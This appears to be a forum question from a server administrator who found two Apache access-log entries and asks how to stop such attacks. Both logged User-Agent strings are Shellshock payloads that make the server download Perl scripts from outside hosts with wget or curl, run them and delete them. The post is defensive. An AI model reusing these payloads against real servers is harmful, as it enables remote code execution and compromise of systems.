title: hacking to my apache using cgi script
body: <p>It seems that someone succeeded to hack my apache server.
  I have notice in my access.log the following line:</p>
  
  <pre><code>81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/     bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl      -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"
  </code></pre>
  
  <p>and also this one:</p>
  
  <pre><code>80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/perl -e 'print      \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -     rf /tmp/bot.pl\");'"
  </code></pre>
  
  <p>It seems that they already succeeded to hack, according to HTTP-200.
  My questions:</p>
  
  <ul>
  <li>someone know this issue ?</li>
  <li>how can I configure my apache2.conf to prevent such hacking ?</li>
  </ul>
  
  <p>Thx</p>